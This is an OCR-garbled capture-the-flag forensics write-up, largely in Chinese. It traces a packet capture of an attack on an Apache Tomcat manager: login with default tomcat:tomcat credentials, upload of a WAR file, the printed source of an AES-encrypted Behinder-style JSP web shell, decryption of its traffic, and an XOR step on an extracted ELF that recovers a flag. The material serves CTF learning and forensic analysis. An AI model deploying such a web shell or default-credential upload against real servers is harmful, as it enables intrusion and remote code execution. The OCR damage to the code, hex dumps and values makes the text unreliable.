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Ethernet IFvd - 1 IF+6 TCF 18 ULF
Address A Port A Address B Port B Packets Bytes Packets A— B Bytes A— B Packets B—~ A Bytes B— A Rel Start Duration Bits/s A —+ B Bits/sB —+A
17217.001 43442 172.17.0.2 | 8080 30 32k 18 3666 12 29 k 0.000000 118.1312 248
172.17.01 43444 172.17.0.2 | 8080 66 109 k 37 8761 29 100 k 0.146228 23.0870 3035
17217.01 43446 172.17.0.2 | 8080 8 568 5 348 3 220101.964088 11.5115 241
172.17.01 43448 172.17.0.2 | 8080 9 636 5 348 4 288113.58220¢ 22.3831 124
17217.01 43450 172.17.0.2 | 808D 10 5957 5 895 5 5062118.13186¢ 0.0092 779 k
17217.01 43452 17217.0.2 | 8080 10 5957 5 895 5 5062120.04458( 0.0148 483 k
17217.01 43454 17217.0.2 | 8080 8 568 5 348 3 220127.14775¢ 8.8182 315
172.17.01 43456 172.17.0.2 8080 28 20k 16 10k 12 10 k172.57497¢ 8.8376 8522
172.17.01 43458 172.17.0.2 8080 36 56k 18 46 k 17 10 k181.41407¢ 11.1814 33k
172.17.01 43460 172.17.0.2 8080 16 20k 9 15k 7 5015209420511 5.0312 24 k
172.17.01 43462 172.17.0.2 8080 38 sS4k 20 50k 18 4003229.08292: 10.0090 40k
172.17.01 43464 172.17.0.2 8080 14 10k 8 10k 6 625250.72806¢ 5.0265 16 k
172.17.01 43466 172.17.0.2 8080 14 10k 8 10k 6 673256977777 5.0264 15k
172.17.01 43468 172.17.0.2 8080 16 10k 9 10k 7 805263.329671 49934 16 k
172.17.01 43470 172.17.0.2 8080 14 10k 8 10k 6 673270.65797¢ 5.0269 15k
W IEhttph i EE BB T
Time Source Src port  Destination Dest port Frotosol ttl Host Info
39 2019-989-84 @4:28:29 172.17.0.1 43447 172.17.9.2 B80se HTTP 64 192.168.08.106:8080 GET /bg-button.png HTTP/1.1
4@ 2019-89-84 04:28:29 172.17.0.2 sese 172.17.8.1 43442  HTTP 64 HTTP/1.1 208 OK (PNG)
41 2019-89-84 04:28:29 172.17.8.1 43444 172.17.8.2 8ase HTTP 64 192.168.0.106:8088 GET /bg-middle.png HTTP/1.1
42 2019-@9-84 84:28:29 172.17.8.2 8680 172.17.8.1 43444  HTTP 64 HTTP/1.1 288 OK (PNG)
45 2019-89-84 84:28:32 172.17.8.1 43444 172.17.8.2 38@8@ HTTP 64 192.168.0.106:8088 GET /manager/html HTTP/1.1
46 2019-89-84 84:28:32 172.17.0.2 8088 172.17.8.1 43444  HTTP 64 HTTP/1.1 481 Unauthorized (text/html)
48 2019-89-84 84:28:35 172.17.0.1 43444 172.17.8.2 808e HTTP 64 192.168.0.106:8088 GET /manager/html HTTP/1.1
56 20819-89-84 @4:28:35 172.17.0.2 8688 172.17.8.1 43444  HTTP 64 HTTP/1.1 208 OK (text/html)
58 20819-089-84 @4:28:35 172.17.8.1 43444 172.17.8.2 8@80 HTTP 64 192.168.0.106:8088 GET /manager/images/tomcat.gif HTTP/1.1
59 2019-89-04 04:28:35 172.17.8.2 8680 172.17.8.1 43444  HTTP 64 HTTP/1.1 208 OK (GIF8%a)
b1 2819-89-84 84:28:35 172.17.8.1 43444 172.17.8.2 38@8@ HTTP 64 192.168.0.106:8088 GET /manager/images/asf-logo.svg HTTP/1.1
66 20819-89-84 84:28:35 172.17.9.2 8ese 172.17.0.1 43444  HTTP/XML 64 HTTP/1.1 28@ 0K
69 2019-89-84 04:28:42 172.17.0.1 43444 172.17.9.2 8@se HTTP 64 192.168.0.106:8088 POST /manager/html/upload;jsessionid=86D82t
78 2019-089-084 04:28:42 172.17.0.2 8680 172.17.8.1 43444  HTTP 64 HTTP/1.1 208 OK (text/html)

dypertext Transfer Protocol

~ GET /manager/html HTTP/1.1\r\n

v [Expert Infe (Chat/Sequence): GET /manager/html HTTP/1.1\r\n]
[GET /manager/html HTTP/1.1\r\n]
[Severity lewel: Chat]
[Group: Sequence]

Request Method: GET

Request URL: /manager/html

Request Version: HTTP/1.1

Host: 192.168.8.106:888@\r\n

Connection: keep-ali

Authorization:

Upgrade-Insecure-Requests: 1\r\n

NNT- 1%r\n

1§ F T tomcat:tomcat§§ 1 4% i i3 X\ T tomcatf*Jmanager.

WEEEEWT:

wvelr\n
Basic |dGItY2FB0nRvbWNhdA==Yr\n
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Start Stop Reload Undeploy

[manager None specified Tomcat Manager Application true 1

‘ Expire sessions |with idle = |30 |minutes

Deploy directory or WAR file located on server
Context Path (required): I:l
XML Configuration file URL: [ |

WAR or Directory URL: |

'WAR file to deploy

Select WAR file to upload | BNzl | mimre i | W

Deploy J:.)[:g I{t{:
Check to see if a web application has da y leak on stop, reload or undeploy
Find leaks This diagnostic check will trigger a full garbage collection. Use it with extreme caution on production systems.
Tomcat Version JVM Version JVM Vendor 0S5 Name 0OS Version '0S Architecture Hostname IP Address
Apache Tomecat/7.0.96 1.8.0_222-b10 QOracle Corporation Linux 4.9.125-linuxkit amd64 b0ct 10e33fcS 17217.0.2

A 3% B g T — AN EGE S

POST /manager/html/upload;jsessionid=86D826293947ESE2BE6D985E7DEEAE2ED?
org.apache.catalina.filters.CSRF_NONCE=986111C84895876BA6B6AF92359DFEEF HTTP/1.1
FAost: 192.165.0.100: 0000

Connection: keep-alive

Content-Length: 1846

Cache-Control: max-age=8

Authorization: Basic dG9tY2F80OnRvbWNhdA==
Origin: http://192.168.6.166:5688
Upgrade-Insecure-Requests: 1

DNT: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWjwfVNnijpNtR96b

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_14 5) AppleblebKit/537.36 (KHTML, like Gecko) Chrome/
76.09.3889.132 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3

Referer: http://192.168.0.106:8080/manager/html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-U5;q=08.8,en;q=0.7

Cookie: JSESSIONID=86D826293947EEE2B6D985EVDEEAE2ES

—————— WebKitFormBoundaryWjwfVNnijpNtR96b
Content-Disposition: form-data; name="deployWar"; filename="main.war"
Content-Type: application/octet-stream
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<%@page import="java.util.¥,6 javax.crypto.¥,javax.crypto.spec.*"&>
J<@!class U extends Classloader
{U({ClassLoader c)
{super(c);}
public Class g(byte []b)
{
return super.defineClass(b,0,b.length);}
Sjes

J]<#if (request.getParameter (" ") '=null)
{
String k=(""+UUID.randomUUID()).replace ("-","").substring(l6);session.putValue ("u", k|
out.print (k) ;
return;

j

Cipher c=Cipher.getInstance (" "):
c.init (2, new SecretKeySpec((session.getValue("u")+"") .getBytes(), "RES")):
-new U{this.getClass() .getClassLoader () ).g{c.doFinal (new sun.misc.BASE64Decoder () .decodeBuffer (request.getReader () .readLine () ))) .newlnstance () .equals (pageContext) ; &>

BEWAN1.0MA, #TRIERKEK —AERD, HREI.

2019-09-04 084:31:22 172.17.8.1 43456 172.17.08.2 80@8a HTTP 64 192.168.0.106:8880 GET /main/main.jsp?pass=686 HTTP/1.1
2019-89-84 04:31:22 172.17.8.2 gege 172.17.8.1 43456  HTTP 64 HTTP/1.1 280 OK (text/html)
2019-89-04 84:31:22 172.17.9.1 43456 172.17.9.2 8@se HTTP 64 192.168.0.106:8880 GET /main/main.jsp?pass=281 HTTP/1.1
2019-89-04 @4:31:22 172.17.8.2 &e8e 172.17.8.1 43456  HTTP 64 HTTP/1.1 28@ OK (text,"hm

IR Bl fjaesin % 24T -

153 20819-89-04 04:31:22 172.17.8.1 43456 172.17.8.2 8080 HTTP 64 192.168.0.106:8088 GET /main/main.jsp?pass=281 HTTP/1.1

154 2019-09-84 84:31:22 172.17.0.2 goga 172.17.8.1 43456 HTTP 64 HTTP/1.1 28@ OK (text/html)

1559 2019-09-84 84:31:22 172.17.0.1 43456 172.17.8.2 ©gese HTTP 64 192.168.0.106:808@  POST /main/main.jsp HTTP/1.1 (application/octet-stream)
169 20819-89-04 04:31:22 172.17.0.2 8080 172.17.8.1 43456 HTTP 64 HTTP/1.1 28@ OK (text/html)

181 20819-89-04 04:31:3@ 172.17.0.1 43458 172.17.8.2 8880 HTTP 64 192.168.0.106:8888  POST /main/main.jsp HTTP/1.1 (application/octet-stream)
185 2019-09-04 04:31:30 172.17.0.2 8080 172.17.@.1 43458 HTTP 64 HTTP/1.1 20@ OK (text/html)

191 2019-09-84 84:31:33 172.17.08.1 43458 172.17.8.2 gege HTTP 64 192.168.0.106:808@  POST /main/main.jsp HTTP/1.1 (application/octet-stream)

[Next reguest in frame: 159]
[Mext response in frame: 169]
File Data: 16 bytes
_ine-based text data: text/html (1 lines)

badae3277932h0a2

EEpostHiE, LMERIK6M NEHHITHE, KIflagRL:
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D10 THnfED28mC P ST IKEATMB 1IN/ WP A4 1L aG T2 sWiny 5o 2Ty, 3wl3c/ dbdj g T9iHrr duuh I IT T=NQThby TG/EVTLAiL 2qK
Wziz 145 alkh3THAS00bmG 3+oMO Tht He V) gz zELf gt So0VEQ4GB P D e bqGMx UF DiPAT s 8f yp+ag r IMC T VEUMp T 2q Bx JWddns6l2a
by ak IyDlvalUl dHzvwr/ N3+ TvEwi 10 1wSeudHn 247 2P df OLORhnaBTWber AKTTLq/ 1iHwT921 1 TonTNWo g Rx SmE+pVoq6 T dkd
TO+L ZBIbnExhxUlnT1UKT 32440ZNdq/ ThvxpbiluG qvHpEviWSda iRt TooFYORME+TLE4hFQS3 8UNrbiRelhsCN31hDRwDbale/ Ku
AzF VL StvHRE S epFral Tz 2 TIZ IR 38 A0kG 2 TTp oz IF rwd Suwdr VT 9B4F 4T 1 EEG 31DEY, W2 cdBx N7 q3Fuk Y& 10T IFNpD 20DC
mINbWD9iRIg INH1 WeDKxQWbI3VCvxNTETqbi3DdABdDgENIX 1fBasltrInl gwC IPs DI BMEXARAVErBPovT jridvegwlB8cKi TKG1
Fid/ G oHTVEWF g 4vERZ2awER 1 dSDwe 31 N30T 0T qawgbSRC1XEOFT 7 LK 5D 1 naz, oL 1 af 60w/ xNxF vt aBmAD0 S we TSA48KB T 7
|AbTBugwoqz45fm2WLY e gHnTMTOuE ObMpHHE o dkHE 0k+TwC 50z TnBP SGhWn 00y qZ T jh@1vk 3Wdh 3T+ =15Tqo3DWNTIWE4iT 2

ECE (Electronic Code Book, £T&FE%) &5, 7 |

128 v

a4ae3277932b0a2 |

- EEENEST- T

baseg4 ¥

mz | | m=m |

AES IEEENSE




SCAFSRAFEELF, BHINELFXCfF, fEHidafT It Bonde IEH 30, 163 MEBHRES, BALERMT:

TF 45 4C 46|00 00 COO0 00 OO0 Q0 OO 00 QO Q0 Q0 00 ELF
03 00 3E 00 01 00 00 00 10 08 00 00 00 00 00 00 >
40 00 00 00 00 0O 00 00 A8 21 00 0OC Q0 00 00 0O @ ot

00 00 00 00 40 00 38 00 0©OS% 00 40 00 1D 00 1C 00 @ s @
O 00 Q00 Q00 05 Q0 00 00 40 00 OO0 00 QO Q0 Q0 00 @
40 00 00 OC ©OO0 OO0 00 OO0 40 00 00 OO OO OO 0O OO @ @
Fg 01 00 Q00 00 QO Q00 Q0 F8 01 OO0 Q0 QOO0 00 00 00 | e 2
08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00

38 02 00 00 00 QO 00 Q0 38 02 OO0 Q0 QO 00 00 00 |8 8

38 02 00 00 00 00 00 00 12 00 00 00 00 00 00 00| 8
1C 00 Q0 Q0 00 Q0 00 00 ©1 Q0 OO0 00 QO Q0 Q0 00
01 00 00 00 05 00 00 00 ©0 00 00 00 00 00 00 00

Q0 00 00 00 00 QO 00 00 OO0 Q0 OO0 00 0O Q0 Q0 00 I
2C OF 00 00 00 00 00 00 2C OF 00 00 00 00 00 00|, v

Q0 00 20 00 00 QO 00 00 ©1 00 OO0 00 Qe Q0 QO 0O

Dg 1D 00 00 00 00 00 00 D8 1D 20 00 00 00 00 00| & 2

Dg 1D 20 00 00 QO 00 00 A0 02 00 Q0 QOO0 00 00 00| &
A3 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 -

02 00 00 00 Og 00 00 00 FO 1D OO0 00 QOO 00 00 00 a
FO 1D 20 00 00 QO 00 Q0 FO 1D 20 00 OO0 00 00 00| & a
EC 01 00 00 00 00 00 00 EO 01 00 Q00 00 00 00 00 & a
08 00 00 Q00 00 Q0 00 00 ©4 00 OO0 00 04 00 Q0O 00

54 02 00 00 00 00 00 00 54 02 00 00 00 00 00 00| T T
54 02 00 00 00 QO 00 00 44 Q0 OO0 Q0 QO Q00 00 Q0 |T I
44 00 00 00 00 00 00 00 ©O4 00 00 00 00 00 00 00| D

50 E5 74 €4 04 00 00 00 3C 0D 00 0O 0O 0O 0O 00| Fatcd <
3C 0D 00 Q0 00 00 00 00 3C 0D 00 00 00 00 00 00| <« <
SC 00 00 00 00 00 00 Q00 5C 00 0O 0O 00 00 00 00 |\ ks
04 00 00 00 00 00 00 00 51 E5 74 ©4 06 00 00 00O Qécd

Q0 00 00 00 00 Q0 00 00 OO0 Q0 Q0 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

BT A3 RELFRI SCHAR &, JEEAF 1AM A02 02 01, #Et8 700 00 00, S5HeRET -

o e ident XE—IE EENFHNEBMRFENEN:
EI_MAGO - EI_MAG3 S{HREFEFEIFTRAIELFL, B0 7F 45 4C 46(ELF)
El_CLASS 37428 HEL{{FRIZ 32{(U/6M g

ElE = =
01 ELFCLASS32 3ER
02 ELFCLASS64 OMUFEEE

El_DATA HiE4RiE,—ARERZ01[td)

ElE = 2
01 ELFDATAZLSE [SiivEean
|U2 ELFDATAZ2MSB RAUEAD |

EI_VERSION SZ{iR 7K, EE{Z01 EV_CURRENT
El_ PAD IE.. BiE2—tE= R 00U AR M /NEIEER
El NIDENT e _ident#Ba04/\ ERE 717/ 11 05200

BH JEMELF U R



Offset o 1 2 3 4 5 & 7 g & A B C D E F BNSI ASCII
Q0000000 TF 45 4C 46 02 02 01 EO 00 00 00 00 00 00 00 00 ELF
QQo0g00l10 03 00 3E 00 01 Q0O Q0 Q0 10 08 OO 00 00 Q0 Q0 00 =
Q00000020 40 00 00 OC COO0 OO0 00 OO0 A8 21 00 00 00 OO 0O OO @ o1
QQo00030 Q00 00 00 00 40 Q0O 38 00 OS5 00 40 00O 1D Q0 1C 0O @ s @
Q00000040 06 00 00 00 05 00 00 00 40 00 OO 00 00 00 00 00 @
QQo00050 40 00 00 00 0O 0C 0O 00 40 00 0O 00 00 00 00 0O | @ @
Q00000060 Fg 01 00 00 00 00 00 00 F8 01 OO0 00 OO0 00 00 00| e @
QQo0goT0 08 00 00 Q0 00 QO Q0 00 O3 00 OO0 00 04 Q0 Q0O 00
Q00000080 38 02 00 00 00 OO0 00 00 38 02 0O 00 OO0 00 00 00| 8 B
QQo000s0 38 02 00 00 00 QO Q0 Q0 1C QO OO OO0 QO 0O 00 00| 8
Q00000R0 1C 00 00 00 00 00 00 00 o©1 00 OO 00 00 00 00 00
QQo000B0 01 00 Q0 Q0 05 Q0 00 00 Q0 Q0 OO 00 00 Q0 Q0 00
Q00000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
QQO00oDa 2C OF 00 Q0 00 Q0 Q0 00 2C OF OO 00 Q0O 00 00 00|, r

HBAIDAEE, XKEAmaink#t, EEvar AOME B ANFREA, T EFs:

FIWTZE G R, KD RS A FHOeF 2 FR/Fo, FHARE —NF/F LBAHEHRE Biflag, sk
N FRFE— A ok 7] LAfG Fliflag.

:~# ./elf

where is flag

o]

flag# :cc43545T9e47fTd427614b7ef6aef47c8
:~# ./elf

D
g :cc4354579e47fd427614b7ef6aet47cs
:~# .felf

where is flag
oerfvf |
flagh : cca354579RUEFHRPHIHH

& ERE A7 ] Rascifd [ 214 R0 T -

6f 6f 38 3T 39 38 39 6a 35 69 38 3b 6a 68 3B 3e|ooB87989j5i8; jhi=
3b 3a 3d 38 Ge 3b 69 6a 3a 6d B9 6a 38 3b 6T 34|;:=Bn;ij:mijs;o0d



HANRBEBrdif{ERESs.
15 FI 541415 I3k EXflagiZ B 40 T -

int _ fastcall sub_B3B
{
int i; [rsp+1Ch] [rbp-14h]

L PNE avei Tl Tk ST

o 1 2 3 4 5 & 7 g & » B C D E F BWSI ASCIT

6F 6F 38 3F 39 38 35 6A 35 69 38 3B 6A ©8 38 3E | ooB?889]518; jhE>
3B 32 3D 38 6E 3B €5 6A 32 6D 69 6A 38 3B 6F 34 | ;:=8n;ij:mij&ro4 O e
Q0 00 Q0 Q0 00 QO 00 00 OO0 Q0 OO0 00 QO Q0 Q0 00 4 =T

FEOXOCEE RIG 45 RN T -

63 63 34 33 35 34 35 66 39 65 34 37 66 64 34
37 36 31 34 62 37 €5 66 36 61 65 ©6 34 37 63

SEH#E:

http://www.seacha.com/tools/aes.html

ccd43545f9=47Ed42
T6l4bT7ef6acf4Tch

]

https://github.com/rebeyond/Behinder/releases

https://blog.csdn.net/zhangmiaoping23/article/details/82285664

@xor [oc]]


http://www.seacha.com/tools/aes.html
https://github.com/rebeyond/Behinder/releases
https://blog.csdn.net/zhangmiaoping23/article/details/82285664
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